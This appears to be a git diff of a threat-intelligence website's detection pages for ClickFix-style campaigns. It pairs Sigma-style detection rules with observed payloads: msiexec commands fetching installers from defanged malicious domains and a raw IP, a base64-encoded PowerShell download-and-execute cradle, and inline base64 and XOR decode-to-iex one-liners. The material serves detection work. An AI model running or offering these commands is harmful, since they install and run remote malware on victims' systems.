{% for ex in site.data.clickgrab_trends.payload_examples.base64 %}
|
||||
<div class="cg-payload-label">Encoded command</div>
|
||||
<pre class="cg-payload-example"><code>{{ ex.encoded }}</code></pre>
|
||||
<div class="cg-payload-label">Decoded</div>
|
||||
<pre class="cg-payload-example"><code>{{ ex.decoded }}</code></pre>
|
||||
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
|
||||
{% endfor %}
|
||||
</details>
|
||||
{% endif %}
|
||||
<details>
|
||||
<summary>Example detection logic</summary>
|
||||
<pre class="cg-payload-example"><code>title: PowerShell Base64 Decode Piped to Invoke-Expression
|
||||
logsource:
|
||||
category: process_creation
|
||||
@@ -605,41 +647,28 @@ detection:
|
||||
- '-e '
|
||||
condition: selection_proc and (selection_decode_exec or selection_enc)
|
||||
level: high</code></pre>
|
||||
</div>
|
||||
</div>
|
||||
{% if site.data.clickgrab_trends.payload_examples.base64.size > 0 %}
|
||||
<div class="cg-rec-examples">
|
||||
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
|
||||
data-target="payload-ex-b64">
|
||||
<span class="collapsible-chevron">›</span>
|
||||
Example payloads ({{ site.data.clickgrab_trends.payload_examples.base64 | size }})
|
||||
</button>
|
||||
<div id="payload-ex-b64" class="collapsible-body collapsed">
|
||||
{% for ex in site.data.clickgrab_trends.payload_examples.base64 %}
|
||||
<div class="cg-payload-label">Encoded command</div>
|
||||
<pre class="cg-payload-example"><code>{{ ex.encoded }}</code></pre>
|
||||
<div class="cg-payload-label">Decoded</div>
|
||||
<pre class="cg-payload-example"><code>{{ ex.decoded }}</code></pre>
|
||||
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
|
||||
{% endfor %}
|
||||
</div>
|
||||
</div>
|
||||
{% endif %}
|
||||
</div>
|
||||
</details>
|
||||
</div>
|
||||
|
||||
<div class="cg-rec">
|
||||
<div class="cg-rec-tier"><span class="cg-tier-badge cg-tier-t2" style="display:block;text-align:center;padding:.25rem .5rem;">T1070</span></div>
|
||||
<div class="cg-rec-body">
|
||||
<strong>File write → execute → delete correlation (new Dec 2025)</strong>
|
||||
Self-delete appeared at scale in December 2025. Correlate: script written to <code>%TEMP%</code> → process execution from that path → file deletion within seconds. If artifact-based rules are your only coverage, they're now blind after execution completes. Use process execution telemetry, not file presence.
|
||||
<div class="cg-rec-examples">
|
||||
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
|
||||
data-target="logic-ex-selfdelete">
|
||||
<span class="collapsible-chevron">›</span>
|
||||
Example detection logic
|
||||
</button>
|
||||
<div id="logic-ex-selfdelete" class="collapsible-body collapsed">
|
||||
<div class="det-rec">
|
||||
<div class="det-rec-header">
|
||||
<span class="det-rec-tier tier-2">T1070</span>
|
||||
<div>
|
||||
<div class="det-rec-title">File write → execute → delete correlation (new Dec 2025)</div>
|
||||
<div class="det-rec-desc">Self-delete appeared at scale in December 2025. Correlate: script written to <code>%TEMP%</code> → process execution from that path → file deletion within seconds. If artifact-based rules are your only coverage, they're now blind after execution completes. Use process execution telemetry, not file presence.</div>
|
||||
</div>
|
||||
</div>
|
||||
{% if site.data.clickgrab_trends.payload_examples.self_delete.size > 0 %}
|
||||
<details>
|
||||
<summary>Observed payloads ({{ site.data.clickgrab_trends.payload_examples.self_delete | size }})</summary>
|
||||
{% for ex in site.data.clickgrab_trends.payload_examples.self_delete %}
|
||||
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
|
||||
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
|
||||
{% endfor %}
|
||||
</details>
|
||||
{% endif %}
|
||||
<details>
|
||||
<summary>Example detection logic</summary>
|
||||
<pre class="cg-payload-example"><code>title: Script Self-Delete After Execution From TEMP
|
||||
# Correlation: file_event (write) + process_creation + file_event (delete) on same ProcessGuid/TargetFilename within 10s.
|
||||
logsource:
|
||||
@@ -663,38 +692,28 @@ detection:
|
||||
TargetFilename: '%file_write.TargetFilename%'
|
||||
condition: file_write | followed_by process_exec | followed_by file_delete within 10s
|
||||
level: high</code></pre>
|
||||
</div>
|
||||
</div>
|
||||
{% if site.data.clickgrab_trends.payload_examples.self_delete.size > 0 %}
|
||||
<div class="cg-rec-examples">
|
||||
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
|
||||
data-target="payload-ex-selfdelete">
|
||||
<span class="collapsible-chevron">›</span>
|
||||
Example payloads ({{ site.data.clickgrab_trends.payload_examples.self_delete | size }})
|
||||
</button>
|
||||
<div id="payload-ex-selfdelete" class="collapsible-body collapsed">
|
||||
{% for ex in site.data.clickgrab_trends.payload_examples.self_delete %}
|
||||
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
|
||||
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
|
||||
{% endfor %}
|
||||
</div>
|
||||
</div>
|
||||
{% endif %}
|
||||
</div>
|
||||
</details>
|
||||
</div>
|
||||
|
||||
<div class="cg-rec">
|
||||
<div class="cg-rec-tier"><span class="cg-tier-badge cg-tier-blind" style="display:block;text-align:center;padding:.25rem .5rem;">INFRA</span></div>
|
||||
<div class="cg-rec-body">
|
||||
<strong>CDN staging: pivot from domain blocking to path-pattern detection</strong>
|
||||
<code>irp.cdn-website.com</code> is a legitimate CDN. Block it and you break legitimate sites. Instead, alert on PowerShell fetching from <code>*.cdn-website.com</code> paths matching <code>/files/uploaded/*.ps1</code>. Or use JA4/TLS fingerprinting on the outbound connection rather than the destination hostname.
|
||||
<div class="cg-rec-examples">
|
||||
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
|
||||
data-target="logic-ex-cdn">
|
||||
<span class="collapsible-chevron">›</span>
|
||||
Example detection logic
|
||||
</button>
|
||||
<div id="logic-ex-cdn" class="collapsible-body collapsed">
|
||||
<div class="det-rec">
|
||||
<div class="det-rec-header">
|
||||
<span class="det-rec-tier tier-na">INFRA</span>
|
||||
<div>
|
||||
<div class="det-rec-title">CDN staging: pivot from domain blocking to path-pattern detection</div>
|
||||
<div class="det-rec-desc"><code>irp.cdn-website.com</code> is a legitimate CDN. Block it and you break legitimate sites. Instead, alert on PowerShell fetching from <code>*.cdn-website.com</code> paths matching <code>/files/uploaded/*.ps1</code>. Or use JA4/TLS fingerprinting on the outbound connection rather than the destination hostname.</div>
|
||||
</div>
|
||||
</div>
|
||||
{% if site.data.clickgrab_trends.payload_examples.cdn_staging.size > 0 %}
|
||||
<details>
|
||||
<summary>Observed staging URLs ({{ site.data.clickgrab_trends.payload_examples.cdn_staging | size }})</summary>
|
||||
{% for ex in site.data.clickgrab_trends.payload_examples.cdn_staging %}
|
||||
<pre class="cg-payload-example"><code>{{ ex.url }}</code></pre>
|
||||
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
|
||||
{% endfor %}
|
||||
</details>
|
||||
{% endif %}
|
||||
<details>
|
||||
<summary>Example detection logic</summary>
|
||||
<pre class="cg-payload-example"><code>title: PowerShell Fetching Script From CDN Uploads Path
|
||||
# Path-based detection: keep the CDN reachable for legitimate use, catch the staging pattern.
|
||||
logsource:
|
||||
@@ -714,53 +733,28 @@ detection:
|
||||
- '.hta'
|
||||
condition: selection_client and selection_host and selection_path
|
||||
level: high</code></pre>
|
||||
</div>
|
||||
</div>
|
||||
{% if site.data.clickgrab_trends.payload_examples.cdn_staging.size > 0 %}
|
||||
<div class="cg-rec-examples">
|
||||
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
|
||||
data-target="payload-ex-cdn">
|
||||
<span class="collapsible-chevron">›</span>
|
||||
Example staging URLs ({{ site.data.clickgrab_trends.payload_examples.cdn_staging | size }})
|
||||
</button>
|
||||
<div id="payload-ex-cdn" class="collapsible-body collapsed">
|
||||
{% for ex in site.data.clickgrab_trends.payload_examples.cdn_staging %}
|
||||
<pre class="cg-payload-example"><code>{{ ex.url }}</code></pre>
|
||||
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
|
||||
{% endfor %}
|
||||
</div>
|
||||
</div>
|
||||
{% endif %}
|
||||
</div>
|
||||
</details>
|
||||
</div>
|
||||
|
||||
<div class="cg-rec">
|
||||
<div class="cg-rec-tier"><span class="cg-tier-badge cg-tier-t1" style="display:block;text-align:center;padding:.25rem .5rem;">T1218</span></div>
|
||||
<div class="cg-rec-body">
|
||||
<strong>Detect MSIExec fetching packages from non-enterprise URLs</strong>
|
||||
<code>msiexec.exe</code> with <code>/i http</code> where the URL is not a known enterprise software source, spawned from <code>cmd.exe</code> or <code>explorer.exe</code> (Run dialog). Covers the 1,027-domain MSIExec delivery campaign that peaked at 87% in Nov 2025.
|
||||
<div class="cg-rec-examples">
|
||||
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
|
||||
data-target="payload-ex-msiexec">
|
||||
<span class="collapsible-chevron">›</span>
|
||||
Example payloads (3)
|
||||
</button>
|
||||
<div id="payload-ex-msiexec" class="collapsible-body collapsed">
|
||||
<pre class="cg-payload-example"><code>msiexec /i hxxps[://]shift-art[.]com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/</code></pre>
|
||||
<div class="cg-payload-meta">Peak-campaign pattern. Long "verification" path, random CustomerID, cloudflare-themed lure.</div>
|
||||
<pre class="cg-payload-example"><code>msiexec /i hxxps[://]verifyhumanbot[.]com/pkg/update.msi /quiet /norestart</code></pre>
|
||||
<div class="cg-payload-meta">Silent install with <code>/quiet /norestart</code>. No prompts, no dialogs.</div>
|
||||
<pre class="cg-payload-example"><code>msiexec /i hxxp[://]198[.]13[.]158[.]127:5506/i.msi</code></pre>
|
||||
<div class="cg-payload-meta">Port-5506 direct-IP staging. Bypasses domain reputation. Raw IP + nonstandard port is the signal.</div>
|
||||
</div>
|
||||
<div class="det-rec">
|
||||
<div class="det-rec-header">
|
||||
<span class="det-rec-tier tier-2">T1218</span>
|
||||
<div>
|
||||
<div class="det-rec-title">Detect MSIExec fetching packages from non-enterprise URLs</div>
|
||||
<div class="det-rec-desc"><code>msiexec.exe</code> with <code>/i http</code> where the URL is not a known enterprise software source, spawned from <code>cmd.exe</code> or <code>explorer.exe</code> (Run dialog). Covers the 1,027-domain MSIExec delivery campaign that peaked at 87% in Nov 2025.</div>
|
||||
</div>
|
||||
<div class="cg-rec-examples">
|
||||
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
|
||||
data-target="logic-ex-msiexec">
|
||||
<span class="collapsible-chevron">›</span>
|
||||
Example detection logic
|
||||
</button>
|
||||
<div id="logic-ex-msiexec" class="collapsible-body collapsed">
|
||||
</div>
|
||||
<details>
|
||||
<summary>Observed payloads (3)</summary>
|
||||
<pre class="cg-payload-example"><code>msiexec /i hxxps[://]shift-art[.]com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/</code></pre>
|
||||
<div class="cg-payload-meta">Peak-campaign pattern. Long "verification" path, random CustomerID, cloudflare-themed lure.</div>
|
||||
<pre class="cg-payload-example"><code>msiexec /i hxxps[://]verifyhumanbot[.]com/pkg/update.msi /quiet /norestart</code></pre>
|
||||
<div class="cg-payload-meta">Silent install with <code>/quiet /norestart</code>. No prompts, no dialogs.</div>
|
||||
<pre class="cg-payload-example"><code>msiexec /i hxxp[://]198[.]13[.]158[.]127:5506/i.msi</code></pre>
|
||||
<div class="cg-payload-meta">Port-5506 direct-IP staging. Bypasses domain reputation. Raw IP + nonstandard port is the signal.</div>
|
||||
</details>
|
||||
<details>
|
||||
<summary>Example detection logic</summary>
|
||||
<pre class="cg-payload-example"><code>title: MSIExec Installing Package From Remote URL via Run Dialog
|
||||
logsource:
|
||||
category: process_creation
|
||||
@@ -784,38 +778,28 @@ detection:
|
||||
- 'office.com'
|
||||
condition: selection_proc and selection_remote and selection_parent and not filter_enterprise
|
||||
level: high</code></pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</details>
|
||||
</div>
|
||||
|
||||
<div class="cg-rec">
|
||||
<div class="cg-rec-tier"><span class="cg-tier-badge cg-tier-t1" style="display:block;text-align:center;padding:.25rem .5rem;">T1059</span></div>
|
||||
<div class="cg-rec-body">
|
||||
<strong>Detect inline payload decode-and-execute</strong>
|
||||
PowerShell with <code>-enc</code> flag or XOR decode operations (<code>-bxor</code>, <code>[byte]</code>, <code>[char]</code>) spawned from unusual parent (Run dialog chain). Also: <code>[Convert]::FromBase64String</code> followed by <code>iex</code>. Covers the 28% → 75% growth in inline payloads that skip the network fetch entirely. <strong>Run alongside network-fetch detection. Both are needed for full coverage.</strong>
|
||||
<div class="cg-rec-examples">
|
||||
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
|
||||
data-target="payload-ex-inline">
|
||||
<span class="collapsible-chevron">›</span>
|
||||
Example payloads (3)
|
||||
</button>
|
||||
<div id="payload-ex-inline" class="collapsible-body collapsed">
|
||||
<pre class="cg-payload-example"><code>powershell -NoP -W Hidden -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBiAGEAZAAuAGUAeABhAG0AcABsAGUALwBwAC4AcABzADEAIgApAA==</code></pre>
|
||||
<div class="cg-payload-meta">Classic <code>-EncodedCommand</code> dropper. Base64 decodes to an IEX + DownloadString cradle. The encoding is the signal, not the content.</div>
|
||||
<pre class="cg-payload-example"><code>powershell -c "$b=[Convert]::FromBase64String('...'); iex ([System.Text.Encoding]::UTF8.GetString($b))"</code></pre>
|
||||
<div class="cg-payload-meta"><code>FromBase64String</code> piped to <code>iex</code> inline. No network fetch. Entire payload ships in the clipboard paste.</div>
|
||||
<pre class="cg-payload-example"><code>powershell -c "$k=0x13; $e=@(0x42,0x17,0x26,...); -join($e|%{[char]($_ -bxor $k)})|iex"</code></pre>
|
||||
<div class="cg-payload-meta">XOR-decode loop. Single-byte key, byte array, <code>-bxor</code> reduction, piped to <code>iex</code>. Pure in-memory decode.</div>
|
||||
</div>
|
||||
<div class="det-rec">
|
||||
<div class="det-rec-header">
|
||||
<span class="det-rec-tier tier-1">T1059</span>
|
||||
<div>
|
||||
<div class="det-rec-title">Detect inline payload decode-and-execute</div>
|
||||
<div class="det-rec-desc">PowerShell with <code>-enc</code> flag or XOR decode operations (<code>-bxor</code>, <code>[byte]</code>, <code>[char]</code>) spawned from unusual parent (Run dialog chain). Also: <code>[Convert]::FromBase64String</code> followed by <code>iex</code>. Covers the 28% → 75% growth in inline payloads that skip the network fetch entirely. <strong>Run alongside network-fetch detection. Both are needed for full coverage.</strong></div>
|
||||
</div>
|
||||
<div class="cg-rec-examples">
|
||||
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
|
||||
data-target="logic-ex-inline">
|
||||
<span class="collapsible-chevron">›</span>
|
||||
Example detection logic
|
||||
</button>
|
||||
<div id="logic-ex-inline" class="collapsible-body collapsed">
|
||||
</div>
|
||||
<details>
|
||||
<summary>Observed payloads (3)</summary>
|
||||
<pre class="cg-payload-example"><code>powershell -NoP -W Hidden -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBiAGEAZAAuAGUAeABhAG0AcABsAGUALwBwAC4AcABzADEAIgApAA==</code></pre>
|
||||
<div class="cg-payload-meta">Classic <code>-EncodedCommand</code> dropper. Base64 decodes to an IEX + DownloadString cradle. The encoding is the signal, not the content.</div>
|
||||
<pre class="cg-payload-example"><code>powershell -c "$b=[Convert]::FromBase64String('...'); iex ([System.Text.Encoding]::UTF8.GetString($b))"</code></pre>
|
||||
<div class="cg-payload-meta"><code>FromBase64String</code> piped to <code>iex</code> inline. No network fetch. Entire payload ships in the clipboard paste.</div>
|
||||
<pre class="cg-payload-example"><code>powershell -c "$k=0x13; $e=@(0x42,0x17,0x26,...); -join($e|%{[char]($_ -bxor $k)})|iex"</code></pre>
|
||||
<div class="cg-payload-meta">XOR-decode loop. Single-byte key, byte array, <code>-bxor</code> reduction, piped to <code>iex</code>. Pure in-memory decode.</div>
|
||||
</details>
|
||||
<details>
|
||||
<summary>Example detection logic</summary>
|
||||
<pre class="cg-payload-example"><code>title: PowerShell Inline Decode-and-Execute (No Network Fetch)
|
||||
logsource:
|
||||
category: process_creation
|
||||
@@ -848,15 +832,16 @@ detection:
|
||||
condition: selection_proc and selection_parent and (selection_encoded or selection_xor or selection_b64_iex)
|
||||
level: high
|
||||
# Run alongside the cradle-agnostic network fetch rule. Both are needed.</code></pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</details>
|
||||
</div>
|
||||
|
||||
</div><!-- /.cg-page / .trends-content -->
|
||||
</div><!-- /.trends-layout -->
|
||||
|
||||
<!-- ── Data injection + chart init ──────────────────────────────────── -->
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.10.0/styles/atom-one-dark.min.css">
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.10.0/highlight.min.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.10.0/languages/powershell.min.js"></script>
|
||||
<script>
|
||||
window.CLICKGRAB_TRENDS = {{ site.data.clickgrab_trends | jsonify }};
|
||||
</script>
|
||||
@@ -906,4 +891,21 @@ document.querySelectorAll('.cg-infra-toggle').forEach(function(btn) {
|
||||
}, { rootMargin: '-20% 0px -70% 0px' });
|
||||
sections.forEach(function(section) { observer.observe(section); });
|
||||
})();
|
||||
|
||||
// Syntax highlighting
|
||||
(function() {
|
||||
if (typeof hljs === 'undefined') return;
|
||||
function detectLang(text) {
|
||||
if (/logsource:|condition:/.test(text)) return 'yaml';
|
||||
if (/\$[A-Za-z_]|\bIEX\b|\bInvoke-[A-Z]|\bFromBase64String\b/i.test(text)) return 'powershell';
|
||||
return 'bash';
|
||||
}
|
||||
document.querySelectorAll('pre.cg-payload-example code, pre.logic-block code').forEach(function(el) {
|
||||
var text = el.textContent || el.innerText;
|
||||
var lang = detectLang(text);
|
||||
el.textContent = text; // strip any existing HTML
|
||||
el.className = 'language-' + lang;
|
||||
hljs.highlightElement(el);
|
||||
});
|
||||
})();
|
||||
</script>
|
||||
|
||||
+387
-93
@@ -8,48 +8,48 @@ permalink: /trends/edge-exploits/
|
||||
<style>
|
||||
/* Edge exploits page styles: scoped to avoid conflicts with site theme */
|
||||
.edge-page h1 { font-size: 1.6rem; font-weight: 700; color: var(--text); margin-bottom: .25rem; }
|
||||
.ep-meta { color: var(--text-muted); font-size: .8rem; font-family: var(--font-mono); margin-bottom: 2.5rem; }
|
||||
.ep-meta { color: var(--text-muted); font-size: .8rem; margin-bottom: 1.75rem; }
|
||||
.edge-page h2 {
|
||||
font-size: 1.3rem; font-weight: 700;
|
||||
font-size: 1.15rem; font-weight: 600;
|
||||
color: var(--text);
|
||||
margin: 3rem 0 0.6rem;
|
||||
padding-top: 1rem;
|
||||
border-top: 1px solid var(--border);
|
||||
margin: 2.5rem 0 .75rem;
|
||||
padding-bottom: .4rem;
|
||||
border-bottom: 1px solid transparent;
|
||||
border-image: linear-gradient(to right, var(--accent), var(--border) 35%, transparent) 1;
|
||||
}
|
||||
.edge-page h2:first-of-type { border-top: none; padding-top: 0; }
|
||||
.edge-page h3 {
|
||||
font-size: 1.05rem; font-weight: 600;
|
||||
font-size: 1rem; font-weight: 600;
|
||||
color: var(--text);
|
||||
margin: 2rem 0 0.4rem;
|
||||
margin: 1.5rem 0 .5rem;
|
||||
}
|
||||
.edge-page p { margin-bottom: 1rem; font-size: 0.92rem; color: var(--text-muted); }
|
||||
.edge-page p { margin-bottom: 1rem; font-size: .9rem; line-height: 1.7; color: var(--text-muted); }
|
||||
.edge-page p strong { color: var(--text); font-weight: 600; }
|
||||
|
||||
.stats-strip {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(120px, 1fr));
|
||||
gap: 1px; margin-bottom: 3rem;
|
||||
background: var(--border);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 6px; overflow: hidden;
|
||||
display: flex; gap: 1rem; flex-wrap: wrap;
|
||||
margin: 1.25rem 0 2rem;
|
||||
}
|
||||
.stat-cell {
|
||||
flex: 1 1 120px;
|
||||
background: var(--bg-card);
|
||||
padding: 1.2rem 1rem;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 8px;
|
||||
padding: .85rem 1rem;
|
||||
text-align: center;
|
||||
box-shadow: 0 4px 16px rgba(0,0,0,0.25), inset 0 1px 0 rgba(255,255,255,0.04);
|
||||
}
|
||||
.stat-cell .num {
|
||||
font-family: var(--font-mono);
|
||||
font-size: 1.6rem; font-weight: 700;
|
||||
font-size: 1.85rem; font-weight: 700;
|
||||
color: var(--text);
|
||||
line-height: 1;
|
||||
line-height: 1.2;
|
||||
}
|
||||
.stat-cell .label {
|
||||
font-size: 0.72rem;
|
||||
font-size: .72rem;
|
||||
color: var(--text-muted);
|
||||
margin-top: 0.35rem;
|
||||
margin-top: .2rem;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.06em;
|
||||
letter-spacing: .04em;
|
||||
}
|
||||
|
||||
.chain {
|
||||
@@ -89,32 +89,31 @@ permalink: /trends/edge-exploits/
|
||||
text-transform: uppercase; letter-spacing: 0.06em;
|
||||
color: var(--text-muted); border-bottom: 2px solid var(--border);
|
||||
}
|
||||
.data-table td { padding: 0.55rem 0.8rem; border-bottom: 1px solid var(--border); vertical-align: top; color: var(--text-muted); }
|
||||
.data-table tr:hover td { background: var(--bg-card); }
|
||||
.data-table td { padding: 0.55rem 0.8rem; border-bottom: 1px solid var(--border); vertical-align: top; color: var(--text-muted); transition: background .1s; }
|
||||
.data-table tr:hover td { background: rgba(255,255,255,0.03); }
|
||||
.data-table code { font-family: var(--font-mono); font-size: 0.78rem; color: var(--link); }
|
||||
.data-table .count { font-family: var(--font-mono); font-weight: 600; color: var(--text); text-align: right; }
|
||||
|
||||
.code-block {
|
||||
background: var(--bg-card); border: 1px solid var(--border);
|
||||
background: var(--bg-code); border: 1px solid var(--border);
|
||||
border-radius: 6px; padding: 1rem 1.2rem;
|
||||
margin: 0.8rem 0 1.2rem; overflow-x: auto;
|
||||
font-family: var(--font-mono); font-size: 0.78rem;
|
||||
color: var(--link); line-height: 1.6;
|
||||
white-space: pre-wrap; word-break: break-all;
|
||||
line-height: 1.6; white-space: pre-wrap; word-break: break-all;
|
||||
}
|
||||
.code-block .comment { color: var(--text-muted); }
|
||||
.code-block.hljs { background: var(--bg-code) !important; }
|
||||
|
||||
.callout {
|
||||
border-left: 3px solid; padding: 1rem 1.2rem;
|
||||
margin: 1.2rem 0; background: var(--bg-card);
|
||||
border-radius: 0 6px 6px 0; font-size: 0.88rem; color: var(--text-muted);
|
||||
border-left: 3px solid; padding: .85rem 1rem;
|
||||
margin: .75rem 0;
|
||||
border-radius: 6px; font-size: .875rem; color: var(--text-muted);
|
||||
}
|
||||
.callout strong { color: var(--text); }
|
||||
.callout-red { border-color: var(--critical); }
|
||||
.callout-orange { border-color: var(--accent); }
|
||||
.callout-blue { border-color: var(--link); }
|
||||
.callout-green { border-color: var(--medium); }
|
||||
.callout-purple { border-color: #8b5cf6; }
|
||||
.callout-red { border-color: var(--critical); background: rgba(218,54,51,.08); box-shadow: inset 3px 0 12px -5px rgba(218,54,51,0.35); }
|
||||
.callout-orange { border-color: var(--accent); background: rgba(240,136,62,.08); box-shadow: inset 3px 0 12px -5px rgba(240,136,62,0.35); }
|
||||
.callout-blue { border-color: var(--link); background: rgba(88,166,255,.08); box-shadow: inset 3px 0 12px -5px rgba(88,166,255,0.35); }
|
||||
.callout-green { border-color: var(--medium); background: rgba(63,185,80,.08); box-shadow: inset 3px 0 12px -5px rgba(63,185,80,0.35); }
|
||||
.callout-purple { border-color: #8b5cf6; background: rgba(139,92,246,.08); box-shadow: inset 3px 0 12px -5px rgba(139,92,246,0.35); }
|
||||
|
||||
.det-rec {
|
||||
background: var(--bg-card); border: 1px solid var(--border);
|
||||
@@ -128,16 +127,25 @@ permalink: /trends/edge-exploits/
|
||||
font-family: var(--font-mono); font-size: 0.65rem;
|
||||
font-weight: 700; letter-spacing: 0.08em;
|
||||
padding: 3px 10px; border-radius: 3px;
|
||||
white-space: nowrap; margin-top: 2px;
|
||||
white-space: nowrap; margin-top: 2px; flex-shrink: 0;
|
||||
}
|
||||
.det-rec-title { font-weight: 600; color: var(--text); font-size: 0.92rem; line-height: 1.4; }
|
||||
.det-rec-desc { color: var(--text-muted); font-size: 0.85rem; margin-top: 0.3rem; line-height: 1.5; }
|
||||
.det-rec details { padding: 0 1.2rem 1rem; }
|
||||
.det-rec summary { font-family: var(--font-mono); font-size: 0.75rem; color: var(--text-muted); cursor: pointer; margin-bottom: 0.5rem; }
|
||||
.det-rec details { padding: 0 1.2rem; margin: 0; }
|
||||
.det-rec details[open] { padding-bottom: 1rem; }
|
||||
.det-rec summary {
|
||||
font-family: var(--font-mono); font-size: 0.75rem;
|
||||
color: var(--text-muted); cursor: pointer; margin: 0; padding: 0.5rem 0;
|
||||
list-style: none; display: flex; align-items: center; gap: 0.4rem;
|
||||
}
|
||||
.det-rec summary::-webkit-details-marker { display: none; }
|
||||
.det-rec summary::before { content: "›"; color: var(--text-dim); transition: transform .15s; }
|
||||
details[open] > summary::before { transform: rotate(90deg); }
|
||||
details[open] > summary { margin-bottom: 0.4rem; }
|
||||
|
||||
.chart-container {
|
||||
background: var(--bg-card); border: 1px solid var(--border);
|
||||
border-radius: 6px; padding: 1.5rem; margin: 1.2rem 0 1.5rem;
|
||||
border-radius: 8px; padding: 1.5rem; margin: 1.2rem 0 1.5rem;
|
||||
}
|
||||
.chart-container canvas { width: 100% !important; }
|
||||
.chart-label { font-family: var(--font-mono); font-size: 0.72rem; color: var(--text-muted); text-align: center; margin-top: 0.5rem; }
|
||||
@@ -189,18 +197,48 @@ permalink: /trends/edge-exploits/
|
||||
padding: .35rem .75rem;
|
||||
text-decoration: none;
|
||||
border-left: 2px solid transparent;
|
||||
transition: color .15s, border-color .15s;
|
||||
border-radius: 0 3px 3px 0;
|
||||
transition: color .15s, border-color .15s, background .15s;
|
||||
}
|
||||
.trends-sidebar a:hover {
|
||||
color: var(--text-muted);
|
||||
text-decoration: none;
|
||||
background: rgba(255,255,255,0.025);
|
||||
}
|
||||
.trends-sidebar a:hover { color: var(--text-muted); text-decoration: none; }
|
||||
.trends-sidebar a.active {
|
||||
color: var(--text, #c9d1d9);
|
||||
border-left-color: var(--accent, #f0883e);
|
||||
font-weight: 500;
|
||||
border-left: 3px solid var(--accent, #f0883e);
|
||||
box-shadow: inset 3px 0 8px -4px rgba(240,136,62,0.4);
|
||||
background: rgba(240,136,62,0.07);
|
||||
}
|
||||
.trends-content {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
/* ── Collapsible nav group ── */
|
||||
.nav-group-header {
|
||||
display: flex; align-items: center;
|
||||
}
|
||||
.nav-group-toggle {
|
||||
background: none; border: none; cursor: pointer;
|
||||
color: var(--text-dim, #484f58); font-size: 0.8rem; line-height: 1;
|
||||
padding: 0 0.2rem 0 0.75rem; flex-shrink: 0;
|
||||
transition: transform .15s, color .15s;
|
||||
}
|
||||
.nav-group-toggle:hover { color: var(--text-muted); }
|
||||
.nav-group-toggle.open { transform: rotate(90deg); }
|
||||
.nav-subnav {
|
||||
list-style: none; padding: 0; margin: 0;
|
||||
overflow: hidden; max-height: 0;
|
||||
transition: max-height 0.2s ease-out;
|
||||
}
|
||||
.nav-subnav.open { max-height: 400px; }
|
||||
.nav-subnav a {
|
||||
padding-left: 1.6rem; font-size: .67rem;
|
||||
}
|
||||
|
||||
@media (max-width: 900px) {
|
||||
.trends-layout { flex-direction: column; padding: 2rem 1rem 4rem; }
|
||||
.trends-sidebar {
|
||||
@@ -210,6 +248,8 @@ permalink: /trends/edge-exploits/
|
||||
border-top: 1px solid var(--border); padding: .5rem 0; z-index: 100;
|
||||
}
|
||||
.trends-sidebar ul { display: flex; gap: 0; justify-content: space-around; width: 100%; }
|
||||
.nav-subnav { display: none; }
|
||||
.nav-group-toggle { display: none; }
|
||||
.trends-sidebar a {
|
||||
border-left: none; border-bottom: 2px solid transparent;
|
||||
padding: .3rem .5rem; font-size: .6rem; text-align: center;
|
||||
@@ -224,7 +264,6 @@ permalink: /trends/edge-exploits/
|
||||
.chain-step:first-child { border-radius: 6px 6px 0 0; }
|
||||
.chain-step:last-child { border-radius: 0 0 6px 6px; }
|
||||
.bar-label { width: 130px; font-size: 0.68rem; }
|
||||
.stats-strip { grid-template-columns: repeat(2, 1fr); }
|
||||
}
|
||||
</style>
|
||||
|
||||
@@ -234,13 +273,23 @@ permalink: /trends/edge-exploits/
|
||||
<li><a href="#overview" class="active">Overview</a></li>
|
||||
<li><a href="#framework">Framework</a></li>
|
||||
<li><a href="#volume">Volume</a></li>
|
||||
<li><a href="#targets">Targets</a></li>
|
||||
<li><a href="#sdwan">SD-WAN</a></li>
|
||||
<li><a href="#citrixbleed">CitrixBleed</a></li>
|
||||
<li><a href="#sap">SAP</a></li>
|
||||
<li><a href="#sonicwall">SonicWall</a></li>
|
||||
<li><a href="#fortiweb">FortiWeb</a></li>
|
||||
<li><a href="#ivanti">Ivanti</a></li>
|
||||
<li class="nav-group">
|
||||
<div class="nav-group-header">
|
||||
<button class="nav-group-toggle" data-target="nav-targets-sub" aria-expanded="false" aria-label="Toggle targets">›</button>
|
||||
<a href="#targets">Targets</a>
